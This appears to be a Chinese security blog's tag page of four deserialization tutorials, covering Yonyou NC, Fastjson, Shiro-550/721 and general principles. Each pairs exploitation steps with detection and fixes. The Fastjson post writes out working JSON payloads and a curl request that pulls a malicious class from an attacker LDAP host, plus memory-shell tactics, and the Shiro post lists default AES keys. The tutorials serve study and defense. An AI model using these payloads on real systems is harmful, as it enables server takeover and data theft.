反序列化 on SoulJian小站

用友 NC 反序列化与接口 RCE 利用

Sat, 29 Aug 2026 19:20:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。用友 NC 多用于企业财务系统，入侵真实系统可能触犯法律。

一、漏洞原理

用友 NC/NCC 是国内企业常用的 ERP 系统，历史漏洞多且影响大。常见问题集中在：

1
2
3
4


1. 反序列化：接口对不可信对象反序列化 → RCE
2. BeanShell：部分版本存在 BeanShell 接口可直接执行
3. 文件上传：任意文件上传 → WebShell
4. 接口未授权：敏感接口可匿名访问

本质：ERP 系统功能多、历史包袱重，接口安全跟不上。

二、影响与危害

1
2
3


直接 RCE / GetShell
财务数据、数据库密码泄露
内网横向移动

风险等级：严重。

三、利用 / 复现

1. 反序列化

1
2
3


用友 NC 多个 Servlet/接口存在反序列化
配合 ysoserial（CommonsCollections 等）gadget 发送恶意序列化对象 → RCE
常见入口：/servlet/...、/NCFindWeb/...、NCCloud 相关接口

2. BeanShell

1
2


部分版本可访问 BeanShell 控制台/接口
通过 bsh 脚本执行命令

3. 文件上传

1
2


部分上传接口未校验类型
上传 JSP/WebShell 后访问执行

4. 工具化利用

1
2


网上有成熟的 NC 检测/利用脚本
先指纹识别版本，再对号入座打对应漏洞

四、检测

1
2
3
4


指纹：识别用友 NC 版本（登录页/特征路径）
探测反序列化接口与上传接口
版本核对已知 CVE 与公开 PoC
日志中异常序列化请求/上传文件

五、防御

1
2
3
4


升级到官方安全补丁版本
限制 ERP 系统公网暴露，走内网+VPN
对反序列化/上传接口做 WAF 防护
最小化开放端口

六、修复

1
2
3
4


及时打厂商补丁
清理已上传 WebShell 与后门
禁用不必要的接口与服务
修复后复测：反序列化与上传均被拒

七、小结

用友 NC 代表国内“老牌 ERP + 安全欠账”的典型场景。它的价值在于财务与内网数据，漏洞利用往往直通 GetShell。防护上“打补丁 + 收敛暴露面 + WAF”三件套缺一不可。

Fastjson 反序列化 RCE 漏洞复现

Sat, 29 Aug 2026 13:20:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Fastjson 反序列化利用可直接控制目标，禁止对真实系统使用。

一、漏洞原理

Fastjson 的 @type 支持在 JSON 里指定要反序列化的类。当 autoType 开启（或绕过校验）时，攻击者可以指定危险类，触发 JNDI 注入或恶意方法链，最终造成命令执行。

核心链路：

1
2
3
4


1. JSON 里带 "@type": 恶意类
2. Fastjson 反序列化时加载该类
3. 类通过 JNDI/LDAP/RMI 拉取远程恶意对象
4. 恶意对象被加载执行 → RCE

影响版本：

1
2


Fastjson ≤ 1.2.24（经典版本）
以及后续多个存在 autoType 绕过问题的版本

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
内网横向移动

风险等级：严重。Fastjson 广泛用于 Java 接口，是实战高频目标。

三、利用 / 复现

环境准备

用 Docker 起 Fastjson 靶场，并在攻击机准备 JNDI 利用工具（如 JNDIExploit / marshalsec）。

第一步：验证是否使用 Fastjson

发送特殊键触发异常，看响应是否暴露 Fastjson 特征：

1

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

第二步：构造恶意 JSON

1
2
3
4
5


{
 "@type": "com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName": "ldap://攻击机:1389/Exploit",
 "autoCommit": true
}

攻击机用 JNDI 工具起 LDAP 服务，把 Exploit 指向一个恶意类。

第三步：触发并验证

1
2
3


curl -X POST http://127.0.0.1:8080/ \
 -H "Content-Type: application/json" \
 -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机:1389/Exploit","autoCommit":true}'

恶意类执行 id / 反弹 Shell，攻击机收到回连即验证成功。

不出网利用（重点）

很多实战环境目标无法访问攻击机（LDAP/RMI/HTTP 全被拦住），ldap://攻击机 这种 JNDI 出网打法会失败。这时要换思路：

思路一：TemplatesImpl 加载字节码（不出网首选）

利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，把恶意字节码塞进 JSON，由目标本地加载，不需要 JNDI 出网：

1
2
3
4
5
6
7


{
 "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 "_bytecodes": ["<Base64后的恶意class>"],
 "_name": "a",
 "_tfactory": {},
 "_outputProperties": {}
}

恶意 class 写成继承 AbstractTranslet，在 transform 里执行命令/写内存马。

前提：

1
2


目标 JVM 里存在 TemplatesImpl（JDK 自带）
对应 Fastjson 版本允许该 gadget（部分版本需要 checkAutoType 绕过）

思路二：打内存马（不出网持久化）

即使不能反弹 Shell，也可以往 Java 应用里注入内存马（Filter/Controller 型），用冰蝎/哥斯拉直接连接：

1
2


字节码写 Filter 型内存马 → 部署到应用上下文
后续用 webshell 工具连接，不走外连

思路三：打已有链/本地组件

1
2
3


HikariDataSource + JNDI 方式打 JDBC 连接串
BeanFactory / JdbcRowSetImpl 等本地链
利用应用自身依赖做二次利用

如何判断“出不出网”

1
2
3


用 DNSLog：发 ${jndi:ldap://xxx.dnslog.cn/a}，看是否有 DNS 回显
无回显 → 默认按不出网处理，直接上 TemplatesImpl/内存马
有回显 → 正常 JNDI 出网打法

四、检测

1
2
3
4


日志中找 "@type" 与常见恶意类名
请求中出现 ldap://、rmi://、jndi:
异常的长 JSON 与反序列化请求
对 Fastjson 版本做指纹确认

五、防御

1
2
3
4


关闭或严格限制 autoType
对 JSON 解析做类白名单
WAF 拦截 @type 与 jndi:/ldap:/rmi:
隔离 Java 应用运行环境

六、修复

1
2
3
4


升级 Fastjson 到安全版本（1.2.83+，并关注后续修复）
或直接迁移到 Jackson 等更安全的 JSON 库
用 safeMode 关闭 autoType
升级后复测：@type 恶意 payload 不再被解析执行

七、小结

Fastjson 漏洞的本质是“JSON 里带类名 → 反序列化加载 → JNDI 触发 RCE”。这类组件漏洞的防御核心是：升级 + 关 autoType + 白名单 + 隔离运行。

Shiro rememberMe 反序列化漏洞复现（550 与 721）

Sat, 29 Aug 2026 11:20:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Shiro 反序列化利用可直接控制目标机器，禁止对非授权目标使用。

一、先分清两个漏洞

Shiro 的 rememberMe 反序列化问题常被笼统叫“Shiro 反序列化”，但实战中要严格区分两个编号，利用方式完全不同：

1
2


Shiro-550（CVE-2016-4437）：密钥泄露型
Shiro-721：Padding Oracle 型（不依赖密钥）

1
2


550：rememberMe 用硬编码默认密钥 AES 加密 → 知道密钥就能构造
721：密钥是随机的 → 用 CBC Padding Oracle 逐字节改密文，不猜密钥

识别第一步永远先看密钥：能解出默认密钥就按 550 打；解不出再考虑 721。

二、Shiro-550：硬编码密钥反序列化

原理

1
2
3
4


1. rememberMe Cookie = AES(序列化对象)
2. 默认密钥 kPH+bIxk5D2deZiIxcaaaA== 是公开的
3. 攻击者用同一把密钥加密恶意序列化对象
4. 服务端反序列化执行 → RCE

常见默认密钥：

1
2


kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==

影响版本：Shiro <= 1.2.4，以及使用弱/默认密钥的版本。

影响

1
2
3


远程代码执行（RCE）
服务器被直接控制
内网横向

风险等级：严重。

利用

1
2
3


1. ysoserial 生成 gadget（CommonsCollections6 "id"）
2. 用默认 AES 密钥加密
3. Base64 后放进 rememberMe Cookie

常用工具：ShiroExploit / Shiro_attack-2.2，内置默认密钥字典一键打。

检测与修复

1
2


检测：抓 rememberMe Cookie，用默认密钥字典解密
修复：升级 Shiro 1.4.2+，自定义高强度密钥，密钥不进代码库

三、Shiro-721：Padding Oracle 利用

原理

721 的密钥是随机生成的，但 rememberMe 用的是 AES-CBC 模式。CBC 的解密过程里，前一组的密文（或 IV）被拿来 XOR 后一组明文，攻击者可以通过不断修改密文、观察服务端是否报错（PaddingError/deleteMe 差异），逐字节恢复明文或构造合法密文。

1

利用的是“加密算法模式”的弱点，而不是密钥

影响版本：Shiro < 1.4.2（CBC 模式，且报错信息可区分）。

影响

1
2


同 550：远程代码执行
但需要大量请求（打一次可能几万次试错）

风险等级：高到严重（条件更苛刻）。

利用要点

1
2
3


1. 需要一个合法可解密的 rememberMe（先登录拿一个）
2. 基于 Padding Oracle 修改密文 → 最终恢复 AES 密钥或直接构造恶意明文
3. 用恢复出的密钥/构造结果打反序列化

工具：shiro_721_exp、部分 ShiroExploit 版本支持。

为什么难

1
2


耗时高、请求量大、容易触发 WAF 告警
不同版本对 PaddingError 的回显差异不同

检测与修复

1
2


检测：大量 deleteMe/异常长 rememberMe 请求、高频试错流量
修复：升级 Shiro 1.4.2+（改用 GCM 等认证加密模式），并升级反序列化防护

四、统一防御与修复

1
2
3
4
5
6


升级 Shiro 到 1.4.2+，关闭 CBC 弱模式
自定义高强度密钥并定期轮换
反序列化加类白名单
WAF 拦截异常长的 rememberMe
监控批量探测行为
修复后复测：550 默认密钥解不出、721 试错被阻断

五、小结

遇到 Shiro，先分 550 还是 721：先试默认密钥（550），解不出再考虑 Padding Oracle（721）。两者编号不同、原理不同、利用成本不同，混为一谈会在实战里浪费时间。

反序列化原理与风险

Sat, 29 Aug 2026 10:20:00 +0800

写在前面：合法学习边界

本文讲解反序列化漏洞的原理与防御。不要对真实系统构造恶意序列化数据。所有验证只能在自建靶场或明确授权的测试环境中进行。

一、序列化是干什么的

程序里的对象只存在于内存中，离开进程就没法保存或传输。序列化就是把对象转成字节或字符串，反序列化就是把它们变回对象。

典型用途：

1
2
3


把对象存进数据库、缓存
对象在网络间传递
前后端交换复杂数据

序列化本身不是坏事，问题出在反序列化时是否信任了来源。

二、为什么反序列化会危险

反序列化不是简单“读回数据”，很多语言在反序列化时会执行类构造、魔术方法甚至任意类方法。

如果攻击者能控制反序列化的内容，就可能：

1
2
3
4


触发危险方法链
读写任意文件
执行系统命令
造成 RCE

常见的危险场景集中在：

1
2
3
4


Java 的 readObject / ysoserial 链
Python 的 pickle
PHP 的 unserialize + 魔术方法
Ruby 的 Marshal.load

一句关键的话：反序列化等于在“加载代码路径”，不是加载数据。

三、哪些入口最容易被利用

1
2
3
4


接收序列化数据的接口
加密 Cookie 里存了对象
消息队列、缓存里传对象
日志或报告功能解析对象

尤其要注意：某些系统把对象序列化后 Base64 放进 Cookie，如果密钥泄露或逻辑校验缺失，等于把“执行入口”交给攻击者。

影响与危害

反序列化漏洞能造成：

1
2
3
4


远程代码执行（RCE）
任意文件读写
服务器被完全控制
内网横向移动

风险等级：严重。它往往能直接绕过大部分输入校验。

四、防御思路

1. 别反序列化不可信数据

能用 JSON、纯数据格式就用它们，能少用原生反序列化就少用。

2. 校验与签名

1
2
3


对序列化内容加签名/HMAC
校验版本和类型白名单
拒绝未知类

3. 白名单类过滤

明确允许哪些类可以反序列化，而不是黑名单。黑名单永远追不上新 gadget。

4. 隔离与最小权限

1
2
3


反序列化进程用最小权限运行
沙箱或独立环境解析
限制文件系统、网络访问

5. 审计

关注异常反序列化请求、非常规类名、异常异常栈。

修复

1
2
3
4
5


不使用原生反序列化处理不可信数据
对序列化内容加签名/HMAC
反序列化做类白名单
以最小权限、隔离环境运行解析进程
修复后复测：构造对象不再执行

五、报告中的正确写法

示例：

1
2
3


发现：Cookie 中存放 Base64 编码的序列化对象，反序列化未做类白名单校验，存在可利用链。
风险：攻击者可能构造恶意对象导致命令执行。
建议：改用不可执行数据格式；对数据加签名；反序列化做类白名单；以最小权限运行。

报告要写清“入口、是否可验证、影响、修复优先级”，而不是只写“存在反序列化风险”。

六、小结

反序列化的本质是“加载代码路径”。它比参数注入更危险，因为它能绕过很多输入校验。把“反序列化 = 执行入口”记在心里，才会谨慎对待每一个序列化来源。